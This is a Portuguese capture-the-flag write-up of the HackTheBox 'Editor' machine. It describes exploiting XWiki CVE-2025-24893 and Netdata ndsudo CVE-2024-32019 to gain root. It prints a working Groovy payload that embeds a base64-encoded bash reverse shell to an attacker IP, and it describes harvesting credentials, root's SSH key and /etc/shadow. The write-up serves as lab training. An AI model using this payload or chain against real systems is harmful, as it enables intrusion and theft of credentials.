githubEditar

Editor

https://app.hackthebox.com/machines/Editor

Summary

Editor é uma máquina Linux de dificuldade fácil que destaca os riscos de plataformas de documentação administrativa expostas e vulnerabilidades em serviços internos. O acesso inicial foi obtido através da enumeração de subdomínios para descobrir uma instância XWiki, que se mostrou vulnerável a uma falha de Execução Remota de Código (RCE) não autenticada no macro SolrSearch (CVE-2025-24893).

A enumeração pós-exploração revelou credenciais de banco de dados codificadas nos arquivos de configuração do XWiki, permitindo a movimentação lateral para o usuário oliver por meio da reutilização de senha. A escalação de privilégios para root foi alcançada ao identificar um serviço de monitoramento interno Netdata. Ao tunelar a porta interna para a máquina de ataque, uma vulnerabilidade de Escalação de Privilégios Local (LPE) (CVE-2024-32019) foi explorada no binário ndsudo, permitindo o sequestro de PATH e a execução arbitrária de comandos como root.

Attack Chain

  1. Reconnaissance: Identificado o subdomínio wiki.editor.htb via enumeração de ativos JavaScript.

  2. Initial Access: Exploração da CVE-2025-24893 (XWiki SolrSearch RCE) para obter uma shell reversa como o usuário xwiki.

  3. Lateral Movement: Recuperação de credenciais em texto claro do arquivo hibernate.cfg.xml e utilização das mesmas para acesso SSH como usuário oliver.

  4. Discovery: Identificado o serviço Netdata rodando na porta interna 19999.

  5. Command and Control: Estabelecido um túnel reverso com Chisel para acessar o painel do Netdata.

  6. Privilege Escalation: Exploração da CVE-2024-32019 via binário SUID ndsudo (Sequestro de PATH) para executar um binário malicioso como root.


Reconnaissance

Remote System Connection

#attack/T1018

Testes iniciais de conectividade foram realizados utilizando requisições de eco ICMP para verificar a disponibilidade do alvo e estimar o sistema operacional subjacente.

circle-info

O valor de Time to Live (TTL) de 63 sugere que o alvo é uma máquina baseada em Linux, considerando um único salto entre o atacante e o alvo.

Network Scanning

#attack/T1595

Para mapear a superfície de ataque, foi executada uma varredura completa de portas TCP. Isso identificou três portas abertas associadas a serviços administrativos e web padrão.

Service Enumeration

#attack/T1046

Após a identificação das portas abertas, foi realizada uma varredura de serviços direcionada para determinar informações de versão e identificar potenciais aplicações web.

Infrastructure Analysis

O serviço nginx na porta 80 estava configurado para redirecionar para um host virtual chamado editor.htb. Para interagir com a aplicação web, o arquivo /etc/hosts local foi atualizado para resolver o domínio.

O cruzamento das versões dos serviços com o banco de dados Launchpad Ubuntuarrow-up-right forneceu insights mais detalhados sobre o sistema operacional do host:

circle-info

A discrepância entre os codinomes dos pacotes (Jammy vs. Hirsute) sugere a possibilidade de conteinerização ou de serviços rodando em ambientes diferentes (ex: Docker ou LXC) no mesmo host.


Web Exploitation

Tech Profiling

#attack/T1592_002 #attack/T1083

O fingerprinting inicial do serviço web na Porta 80 foi conduzido utilizando o whatweb para identificar a stack tecnológica subjacente e as configurações do servidor.

O servidor está executando o nginx 1.18.0. Uma busca por exploits conhecidos para esta versão específica não retornou resultados imediatos.

A inspeção manual da página inicial revelou uma landing page de uma IDE chamada SimplistCode Pro. O site fornece links de download para instaladores Linux (.deb) e Windows (.exe). Além disso, um endereço de e-mail administrativo, contact@editor.htb, foi identificado.

Subdomain Discovery

O rastreamento (crawling) automatizado com o gospider foi empregado para identificar endpoints adicionais e potenciais subdomains dentro dos ativos JavaScript da aplicação.

circle-check

XWiki Enumeration

#attack/T1589_002 #attack/T1592

O subdomínio wiki.editor.htb parece servir como um hub de documentação para o projeto SimplistCode Pro, gerenciado pela plataforma XWiki.

O acesso ao wiki revelou que a aplicação está executando o XWiki 15.10.8. Embora o searchsploit não liste exploits diretos para esta versão específica, o wiki contém documentação valiosa sobre a aplicação SimplistCode Pro.

triangle-exclamation

RCE via XWiki SolrSearchMacros (CVE-2025-24893)

#attack/T1210 #owasp/A03_2025 #owasp/A05_2025 #mitre/CWE-95

A investigação posterior da Porta 8080 confirmou que ela atua como um ponto de entrada secundário ou proxy para o serviço XWiki identificado anteriormente. Embora scanners de vulnerabilidade automatizados como o nuclei não tenham sinalizado problemas específicos, a pesquisa manual sobre a versão 15.10.8 do XWiki revelou uma vulnerabilidade crítica de Execução Remota de Código (RCE) não autenticada, rastreada como CVE-2025-24893arrow-up-right.

A vulnerabilidade existe no macro SolrSearch, onde a sanitização inadequada permite que um usuário convidado injete um bloco de execução async contendo código Groovy arbitrário.

Vulnerability Validation

Uma Prova de Conceito (PoC) foi executada para confirmar o contexto de execução. Ao enviar uma requisição GET manipulada para o endpoint SolrSearch, o servidor foi forçado a calcular uma expressão matemática dentro de um bloco de script Groovy.

circle-check

Arbitrary File Read & Local Enumeration

#attack/T1083 #attack/T1592_002

Aproveitando o RCE, o payload foi modificado para executar comandos do sistema utilizando o método .execute().text do Groovy. Isso permitiu a exfiltração de arquivos sensíveis do sistema, começando pelo /etc/passwd. Detalhes técnicos adicionais sobre este vetor de exploração específico podem ser encontrados na análise de vulnerabilidade da OffSecarrow-up-right.

A análise do arquivo /etc/passwd identificou dois usuários principais com acesso a shell interativa, que serão o foco para obter um acesso persistente:

triangle-exclamation

Initial Access

Remote Code Execution & Reverse Shell

#attack/T1210 #attack/T1059_004 #owasp/A05_2025

Com a execução de comandos confirmada através da vulnerabilidade SolrSearch do XWiki, o próximo objetivo foi estabelecer um acesso interativo. Um payload de shell reversa em Bash foi selecionado por sua confiabilidade em alvos baseados em Linux.

Para garantir que o payload não fosse corrompido pela interpretação de caracteres especiais dentro da URL ou pelo motor Groovy, o comando foi codificado em Base64.

A string codificada foi então inserida em um comando de execução Groovy projetado para decodificar e executar a shell via /bin/bash. A string inteira foi codificada em URL para manter a compatibilidade com a requisição HTTP GET.

circle-info

Final Encoded Groovy Payload: println("bash -c {echo,YmFzaCAtaSAgID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE5OS80NDQ0ICAgMD4mMQo=}|{base64,-d}|{bash,-i}".execute().text)

Um listener foi inicializado na máquina de ataque usando netcat antes do envio do exploit.

A requisição manipulada foi enviada usando curl, visando o endpoint vulnerável SolrSearch.

circle-check

TTY Stabilization

A shell inicial carecia de controle de tarefas (job control) e formatação adequada de terminal. Um procedimento padrão de estabilização foi realizado para permitir total interatividade, incluindo autocompletar com Tab e suporte para editores de texto.

O ambiente foi normalizado com sucesso, permitindo uma pós-exploração e enumeração eficientes.


Discovery

System Enumeration

#attack/T1082 #attack/T1083

Após o estabelecimento bem-sucedido de um acesso inicial como o usuário de serviço xwiki, uma enumeração interna foi conduzida para mapear o ambiente local. As verificações iniciais confirmaram que o sistema operacional é o Ubuntu 22.04.5 LTS (Jammy), consistente com o reconhecimento prévio.

Uma auditoria manual dos diretórios home revelou que o usuário oliver está presente no sistema, embora o diretório permaneça inacessível para o usuário atual.

Credential Harvesting

#attack/T1552_001 #owasp/A03_2025

Para identificar potenciais vetores de escalação de privilégios, os arquivos de configuração do XWiki foram auditados em busca de credenciais codificadas. Pesquisas indicaram que as strings de conexão de banco de dados são tipicamente armazenadas no arquivo hibernate.cfg.xml.

triangle-exclamation

Lateral Movement

#attack/T1078 #attack/T1021_004

Dada a frequência de reutilização de senhas em tais ambientes, a credencial descoberta foi testada contra o usuário oliver via SSH.

circle-check

Internal Service Enumeration

#attack/T1046

Com o acesso à conta oliver, foi realizada uma revisão das portas de escuta internas para identificar serviços restritos à interface localhost.

A saída revelou um serviço incomum rodando na Porta TCP 19999. A sondagem do serviço com curl identificou-o como um Netdata Embedded HTTP Server (v1.45.2).

Exfiltration of Internal Web Assets

Para facilitar a análise offline do painel do Netdata, o código-fonte HTML foi exfiltrado para a máquina de ataque usando o netcat.

Attacker Machine:

Target Machine:

circle-info

A integridade do arquivo exfiltrado foi verificada na máquina de ataque usando o hash MD5 226467a12f3cfdb97e69dea63a7e1fd5. Este serviço será analisado posteriormente em busca de potenciais vetores de escalação de privilégios para root.


Port Forwarding & Internal Service Access

#attack/T1572 #attack/T1090

Para facilitar uma análise abrangente do serviço Netdata rodando na interface de loopback (127.0.0.1:19999), foi estabelecido um túnel reverso usando o Chisel.

Tool Preparation & Optimization

A arquitetura do alvo foi confirmada como x86_64, e o binário correspondente do Chisel foi preparado na máquina de ataque. Para minimizar a pegada forense e acelerar a transferência, o binário foi compactado usando a utilidade upx.

O binário otimizado foi então transferido para o diretório /dev/shm do alvo por meio de um servidor HTTP baseado em Python.

Tunnel Establishment

Um servidor Chisel foi inicializado na máquina de ataque, e o cliente foi executado no alvo para mapear a porta interna 19999 para a interface local do atacante.

Attacker (Server):

Target (Client):

circle-check

Privilege Escalation

Local Privilege Escalation (CVE-2024-32019)

#attack/T1548_001 #attack/T1574_007 #mitre/CWE-426

Com o painel do Netdata acessível, uma auditoria de versão identificou o software como Netdata Agent v1.45.2.

Pesquisas sobre esta versão revelaram uma vulnerabilidade crítica de Escalação de Privilégios Local (LPE), CVE-2024-32019arrow-up-right. A vulnerabilidade reside na ferramenta ndsudo, um binário SUID destinado a executar um conjunto restrito de comandos com privilégios de root. No entanto, o ndsudo falha ao não sanitizar a variável de ambiente PATH, permitindo que um atacante intercepte a execução colocando um binário malicioso em um diretório gravável pelo usuário.

SUID Binary Validation

A presença e as permissões do binário vulnerável foram verificadas no sistema alvo.

circle-info

O binário pertence ao root e tem o bit SUID definido (-rws). Como o usuário oliver é membro do grupo netdata, ele possui as permissões necessárias para executar este binário e acionar a vulnerabilidade de sequestro de PATH.

A análise posterior do binário ndsudo confirmou sua utilidade na execução de comandos administrativos em nome do agente Netdata. Ao invocar a flag --help, o conjunto de comandos suportados foi identificado, revelando que o ndsudo busca por executáveis específicos (como o nvme) dentro do PATH do sistema.

A vulnerabilidade decorre da confiança do binário em uma variável de ambiente PATH não confiável. Como o ndsudo é um executável SUID de propriedade do root, sequestrar o comando nvme via manipulação de PATH permite a execução arbitrária de código com privilégios elevados.

Public Exploit Compilation

#attack/T1587_004

Um payload malicioso baseado em Carrow-up-right foi preparado para estabelecer uma shell reversa. O exploit foi compilado de forma estática na máquina de ataque para garantir a portabilidade e nomeado como nvme para corresponder ao executável esperado pelo ndsudo.

Execution & Path Hijacking

#attack/T1574_007

O binário compilado foi transferido para o diretório /dev/shm do alvo. Para acionar o exploit, a variável PATH foi precedida pelo diretório de trabalho atual, forçando o ndsudo a executar o binário nvme malicioso em vez da utilidade legítima do sistema.

circle-check

Persistence & Credential Recovery

#attack/T1552_004 #attack/T1021_004 #attack_T1098_004

Para manter o acesso administrativo sem a necessidade de reexplorar a vulnerabilidade do ndsudo, a chave SSH privada do usuário root foi exfiltrada.

A chave foi salva localmente e utilizada para estabelecer uma sessão SSH persistente de alta integridade.

Como etapa final de descoberta, o arquivo /etc/shadow foi amostrado para verificar a capacidade de colher hashes de senhas de todo o sistema para quebra offline. #attack/T1003_008

Atualizado